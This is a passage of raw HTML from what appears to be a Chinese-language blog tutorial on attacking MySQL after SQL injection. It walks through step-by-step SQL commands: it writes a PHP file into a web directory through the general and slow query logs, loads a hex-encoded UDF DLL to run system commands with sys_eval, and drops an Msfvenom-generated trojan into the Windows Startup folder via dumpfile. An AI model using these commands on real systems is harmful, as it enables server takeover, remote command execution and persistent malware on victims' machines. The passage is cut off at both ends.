data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724655-image-1024x392.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724655-image-300x115.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724655-image-768x294.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724655-image-1536x588.png 1536w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732724655-image-2048x785.png 2048w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong>SQL\u8bed\u53e5<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show variables like '%general%';#\u67e5\u8be2\u72b6\u6001\u548c\u9ed8\u8ba4\u4fdd\u5b58\u4f4d\u7f6e\nset global general_log_file = &lt;\u4fdd\u5b58\u4f4d\u7f6e&gt;;#\u8bbe\u7f6e\u4fdd\u5b58\u4f4d\u7f6e\u4e3a\u53ef\u8bbf\u95ee\u7684Web\u8def\u5f84\nset global general_log = on;#\u5f00\u542f\u67e5\u8be2\u65e5\u5fd7\u8bb0\u5f55\nselect &lt;\u4ee3\u7801&gt;;#\u6267\u884c\u67e5\u8be2\u8bed\u53e5\n\nset global general_log = OFF;#\u5173\u95ed\u67e5\u8be2\u65e5\u5fd7\u8bb0\u5f55\nset global general_log_file = &lt;\u4fdd\u5b58\u4f4d\u7f6e&gt;;#\u6062\u590d\u539f\u4f4d\u7f6e<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" style=\"font-size:22px\">\u6162\u67e5\u8be2\u65e5\u5fd7<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u6162\u67e5\u8be2\u65e5\u5fd7<strong>\u8bb0\u5f55\u6267\u884c\u65f6\u95f4\u8d85\u8fc7<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\"> long_query_time<\/mark> \u8bbe\u7f6e\u7684SQL\u8bed\u53e5<\/strong>\uff0c<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">long_query_time<\/mark><\/strong> \u9ed8\u8ba4\u4e3a10\u79d2\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u901a\u8fc7\u5982\u4e0b\u8bed\u53e5\u67e5\u8be2\u6216\u4fee\u6539<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\"> long_query_time<\/mark> <\/strong><\/p>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\u7531\u4e8e\u9700\u8981\u4fee\u6539MySQL\u5168\u5c40\u8bbe\u7f6e\uff0c\u8bf7\u52a1\u5fc5\u901a\u8fc7\u5982\u4e0b\u6307\u4ee4\u4e8b\u5148\u67e5\u8be2\u9ed8\u8ba4\u8bbe\u7f6e\uff0c\u5e76\u8fdb\u884c\u8c28\u614e\u66f4\u6539<\/mark><\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show global variables like '%long_query_time%';#\u67e5\u770b\u9ed8\u8ba4\u4e8b\u4ef6\nset global long_query_time = &lt;\u65f6\u95f4&gt;;#\u4fee\u6539\u9ed8\u8ba4\u4e8b\u4ef6 \u4e0d\u5efa\u8bae\u4fee\u6539<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"399\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732725787-image-1024x399.png\" alt=\"\" class=\"wp-image-1732 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/399;width:596px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732725787-image-1024x399.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732725787-image-300x117.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732725787-image-768x299.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732725787-image.png 1042w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6162\u67e5\u8be2\u65e5\u5fd7\u57fa\u672c\u7684\u6d41\u7a0b\u548c\u4e0a\u8ff0\u7684\u67e5\u8be2\u65e5\u5fd7\u5199\u5165\u6d41\u7a0b\u57fa\u672c\u4e00\u81f4<\/strong>\uff0c\u4f46\u9700\u8981\u6ce8\u610f\u5728\u6267\u884c\u67e5\u8be2\u8bed\u53e5\u65f6\u6dfb\u52a0\u5ef6\u8fdf\u64cd\u4f5c\uff0c<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u8ba9\u67e5\u8be2\u8bed\u53e5\u8d85\u65f6\u5b8c\u6210<\/mark><\/strong>\uff0c\u5426\u5219\u4e0d\u4f1a\u6162\u67e5\u8be2\u4e0d\u4f1a\u8fdb\u884c\u8bb0\u5f55<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>set global slow_query_log_file='E:\\\\phpstudy_pro\\\\WWW\\\\test\\\\upload\\\\phpinfo.php';#\u4fee\u6539\u4fdd\u5b58\u4f4d\u7f6e\nset global slow_query_log=on;#\u5f00\u542f\u8bb0\u5f55<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u6267\u884c\u67e5\u8be2\u8bed\u53e5\uff0c<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u6ce8\u610f\u6dfb\u52a0\u5ef6\u8fdf<\/mark><\/strong>\uff0c\u9ed8\u8ba4\u89e6\u53d1\u65f6\u95f4\u662f<strong>10\u79d2<\/strong>\uff0c\u8fd9\u8fb9\u662f\u76f4\u63a5<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">sleep(11)<\/mark><\/strong>\uff0c\u8ba9\u67e5\u8be2\u5ef6\u8fdf11\u79d2\u6267\u884c\u5373\u53ef<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>select '&lt;?php phpinfo(); ?&gt;' or sleep(11)<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"205\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726370-image-1024x205.png\" alt=\"\" class=\"wp-image-1733 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/205;width:596px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726370-image-1024x205.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726370-image-300x60.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726370-image-768x154.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726370-image-1536x307.png 1536w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726370-image-2048x410.png 2048w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5199\u5165\u5b8c\u6210\uff0c\u9a8c\u8bc1\u6267\u884c<\/strong><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"327\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726397-image-1024x327.png\" alt=\"\" class=\"wp-image-1734 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/327;width:636px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726397-image-1024x327.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726397-image-300x96.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726397-image-768x245.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726397-image-1536x490.png 1536w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732726397-image-2048x654.png 2048w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\u6700\u540e\u6062\u590d\u539f\u8bbe\u7f6e\u5373\u53ef<\/mark><\/strong><\/p>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\"><strong>SQL\u8bed\u53e5<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show variables like '%slow_query_log%';#\u67e5\u8be2\u72b6\u6001\u548c\u9ed8\u8ba4\u4fdd\u5b58\u4f4d\u7f6e\nset global slow_query_log_file = &lt;\u4fdd\u5b58\u4f4d\u7f6e&gt;;--\u4fee\u6539\u65e5\u5fd7\u6587\u4ef6\u8def\u5f84\nset global slow_query_log = on;#\u5f00\u542f\u8bb0\u5f55\nselect &lt;\u4ee3\u7801&gt; or sleep(11);#\u5ef6\u8fdf\u6267\u884c\u67e5\u8be2\n\nset global slow_query_log = OFF;#\u5173\u95ed\u67e5\u8be2\u65e5\u5fd7\u8bb0\u5f55\nset global slow_query_log_file = &lt;\u4fdd\u5b58\u4f4d\u7f6e&gt;;#\u6062\u590d\u539f\u4f4d\u7f6e<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" style=\"font-size:25px\"><strong>UDF\u547d\u4ee4\u6267\u884c<\/strong><\/h3>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-cyan-bluish-gray-color has-alpha-channel-opacity has-cyan-bluish-gray-background-color has-background is-style-wide\"\/>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6761\u4ef6\uff1a<\/strong><\/li>\n\n\n\n<li>\u9700\u8981\u6570\u636e\u5e93DBA\u6743\u9650<\/li>\n\n\n\n<li>\u5b58\u5728\u5806\u53e0\u6ce8\u5165<\/li>\n\n\n\n<li>secure-file-priv\u5141\u8bb8\u5199\u5165<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">UDF.dll\/UDF.SO <\/mark><\/strong>\u662f\u57fa\u4e8eMySQL\u7684<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u2f64\u6237\u2f83\u5b9a\u4e49\u51fd\u6570<\/mark><\/strong>\uff0c\u7684\u4e00\u4e2a\u5b9e\u73b0\u4e86\u547d\u4ee4\u6267\u884c\u7684\u81ea\u5b9a\u4e49\u51fd\u6570\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8f7d\u5165UDF.dll\/UDF.SO\u6765\u6267\u884c\u5176\u4e2d\u7684 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">sys_eval<\/mark><\/strong> \u51fd\u6570\u6765\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6240\u4ee5\u7406\u8bba\u4e0a\u53ea\u8981\u662f\u5141\u8bb8\u8f7d\u5165\u81ea\u5b9a\u4e49\u51fd\u6570\u7684\u6570\u636e\u5e93\u90fd\u53ef\u4ee5\u4f7f\u7528<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\"> UDF.dll\/UDF.SO<\/mark><\/strong> \u6765\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u6bd4\u5982<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\"> PostgreSQL<\/mark><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9700\u8981\u6ce8\u610f\u7684\u662f\u81ea\u5b9a\u51fd\u6570\u7684dll\u6587\u4ef6\u5fc5\u987b\u653e\u7f6e\u5728MySQL\u7684 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">lib\\plugin<\/mark><\/strong> \u76ee\u5f55\u4e2d\uff0c\u6211\u4eec\u9700\u8981\u7528\u5230\u4e4b\u524d\u7684 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">dumfile <\/mark><\/strong>\u6765\u5199\u5165\u6587\u4ef6\uff0c\u6240\u4ee5\u81ea\u7136\u4e5f\u9700\u8981 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">secure-file-priv<\/mark><\/strong> \u5141\u8bb8\u5199\u5165<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9996\u5148\u6211\u4eec\u9700\u8981\u786e\u8ba4\u76ee\u6807\u4e3b\u673a\u7684\u67b6\u6784\uff0c\u7136\u540e\u6839\u636e\u67b6\u6784\u9009\u62e9UDF\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5982\u4e0b\u6307\u4ee4\u786e\u5b9a\u67b6\u6784\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show variables like '%compile%';<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" width=\"960\" height=\"470\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732728700-image.png\" alt=\"\" class=\"wp-image-1744 lazyload\" style=\"--smush-placeholder-width: 960px; --smush-placeholder-aspect-ratio: 960\/470;width:600px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732728700-image.png 960w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732728700-image-300x147.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732728700-image-768x376.png 768w\" data-sizes=\"(max-width: 960px) 100vw, 960px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u6211\u4eec\u5c31\u9700\u8981\u7ed9\u76ee\u6807\u4e0a\u4f20\u4e00\u4e2a64\u4f4d\u7684UDF.DLL\uff0c\u8fd9\u91cc\u63a8\u8350\u4e00\u4e2a\u7f51\u7ad9<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.sqlsec.com\/udf\/\" target=\"_blank\"  rel=\"nofollow\" ><strong>MySQL UDF \u63d0\u6743\u5341\u516d\u8fdb\u5236\u67e5\u8be2 | \u56fd\u5149<\/strong><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f60\u53ef\u4ee5\u5728\u6b64\u5904\u67e5\u8be2\u5230\u5bf9\u5e94<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">UDF\u7684\u5341\u516d\u8fdb\u5236\u7801<\/mark><\/strong>\uff0c\u65b9\u4fbf\u6211\u4eec\u540e\u7eed\u8fdb\u884c\u5199\u5165<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63a5\u4e0b\u6765\u9700\u8981\u786e\u8ba4\u76ee\u6807\u6570\u636e\u5e93\u7684 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">lib\\plugin<\/mark><\/strong> \u7684\u7edd\u5bf9\u8def\u5f84<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>show variables like 'plugin%';<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"393\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732728945-image-1024x393.png\" alt=\"\" class=\"wp-image-1745 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/393;width:626px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732728945-image-1024x393.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732728945-image-300x115.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732728945-image-768x295.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732728945-image.png 1110w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u5199\u5165UDF.DLL<\/mark><\/strong>\uff0c\u8fd9\u91cc\u53ef\u4ee5\u76f4\u63a5\u501f\u52a9\u6211\u4eec\u4e0a\u9762\u7ed9\u7684\u7f51\u7ad9\uff0c\u590d\u5236\u5bf9\u5e94\u7684UDF\u6307\u4ee4\uff0c\u7136\u540e<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u66f4\u6539\u5bf9\u5e94\u4f4d\u7f6e<\/mark><\/strong>\u5373\u53ef<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"584\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729253-image-1024x584.png\" alt=\"\" class=\"wp-image-1747 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/584;width:626px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729253-image-1024x584.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729253-image-300x171.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729253-image-768x438.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729253-image-1536x875.png 1536w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729253-image.png 1874w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<pre class=\"wp-block-code\"><code>SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000... into dumpfile 'E:\\\\phpstudy_pro\\\\Extensions\\\\MySQL5.7.26\\\\lib\\\\plugin\\\\udf.dll';<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5199\u5165\u5b8c\u6210\u4e4b\u540e<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u8f7d\u5165udf\u51fd\u6570<\/mark><\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>create function sys_eval returns string soname 'udf.dll';<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8f7d\u5165\u6210\u529f\u540e\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">sys_eval<\/mark><\/strong> \u6765\u6267\u884c\u7cfb\u7edf\u6307\u4ee4<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>select sys_eval('whoami');<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"292\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729397-image-1024x292.png\" alt=\"\" class=\"wp-image-1748 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/292;width:680px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729397-image-1024x292.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729397-image-300x86.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729397-image-768x219.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729397-image-1536x439.png 1536w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732729397-image.png 1912w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<h3 class=\"wp-block-heading\" style=\"font-size:28px\"><strong>\u542f\u52a8\u9879\u63d0\u6743<\/strong><\/h3>\n\n\n\n<hr class=\"wp-block-separator has-text-color has-cyan-bluish-gray-color has-alpha-channel-opacity has-cyan-bluish-gray-background-color has-background is-style-wide\"\/>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6761\u4ef6\uff1a<\/strong><\/li>\n\n\n\n<li>\u9700\u8981\u76ee\u6807\u76ee\u5f55\u5199\u5165\u6743\u9650<\/li>\n\n\n\n<li>\u9700\u8981\u6570\u636e\u5e93DBA\u6743\u9650<\/li>\n\n\n\n<li>\u5b58\u5728\u5806\u53e0\u6ce8\u5165<\/li>\n\n\n\n<li>secure-file-priv\u5141\u8bb8\u5199\u5165<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u542f\u52a8\u9879\u63d0\u6743\u987e\u540d\u601d\u4e49\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u6211\u4eec\u7684\u6076\u610f\u7a0b\u5e8f\u901a\u8fc7 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">dumpfile <\/mark><\/strong>\u5199\u5165 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u542f\u52a8\u76ee\u5f55<\/mark><\/strong> \u4e2d\uff0cWindows\u4e0d\u540c\u7248\u672c\u7684\u542f\u52a8\u8def\u5f84\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Windows Server 2003<\/strong>\n<ul class=\"wp-block-list\">\n<li>C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Windows Server &gt;= 2008<\/strong>\n<ul class=\"wp-block-list\">\n<li>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u76ee\u6807\u4e3b\u673a<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">\u91cd\u65b0\u542f\u52a8\u540e<\/mark><\/strong>\u4f1a\u81ea\u52a8\u6267\u884c\u6211\u4eec\u5728\u542f\u52a8\u76ee\u5f55\u4e2d\u5b58\u653e\u7684\u7a0b\u5e8f\uff0c\u6240\u4ee5\u4f7f\u7528\u8fd9\u79cd\u65b9\u5f0f\u9700\u8981\u7b49\u5f85\u8f83\u957f\u65f6\u95f4\uff0c\u7b49\u5f85\u5bf9\u65b9\u4e3b\u673a\u4e0a\u7ebf<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u8fd9\u91cc\u5148\u4f7f\u7528<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">Msfvenom<\/mark><\/strong>\u751f\u6210\u4e00\u4e2a\u6728\u9a6c\u7a0b\u5e8f\uff0c\u5f53\u7136\u7528CS\u6216\u8005\u5176\u4ed6\u8fdc\u63a7\u8f6f\u4ef6\u7c7b\u4f3c\u3002\u8fd9\u91cc\u6211\u4f7f\u7528 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">Msfvenom-UI<\/mark><\/strong> \u6765\u5feb\u901f\u751f\u6210\u6728\u9a6c\u7a0b\u5e8f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">github\uff1a<a href=\"https:\/\/github.com\/Mangofang\/Msfvenom-UI\" target=\"_blank\"  rel=\"nofollow\" >Mangofang\/Msfvenom-UI: \u56fe\u5f62\u5316Msfvenom\u6307\u4ee4\u751f\u6210\u5de5\u5177<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" width=\"896\" height=\"816\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732772908-image.png\" alt=\"\" class=\"wp-image-1762 lazyload\" style=\"--smush-placeholder-width: 896px; --smush-placeholder-aspect-ratio: 896\/816;width:302px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732772908-image.png 896w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732772908-image-300x273.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732772908-image-768x699.png 768w\" data-sizes=\"(max-width: 896px) 100vw, 896px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">\u751f\u6210\u5b8c\u6210\u540e\u63d0\u53d6\u5341\u516d\u8fdb\u5236\u7801\uff0c\u901a\u8fc7 <strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-luminous-vivid-orange-color\">dumpfile <\/mark><\/strong>\u4e0a\u4f20\u5230\u542f\u52a8\u76ee\u5f55<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000... into dumpfile 'C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\test.exe';<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" width=\"815\" height=\"172\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773155-f15a408456b8767ef3d49633dab4e0ea.png\" alt=\"\" class=\"wp-image-1763 lazyload\" style=\"--smush-placeholder-width: 815px; --smush-placeholder-aspect-ratio: 815\/172;width:620px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773155-f15a408456b8767ef3d49633dab4e0ea.png 815w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773155-f15a408456b8767ef3d49633dab4e0ea-300x63.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773155-f15a408456b8767ef3d49633dab4e0ea-768x162.png 768w\" data-sizes=\"(max-width: 815px) 100vw, 815px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u7528<strong><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color 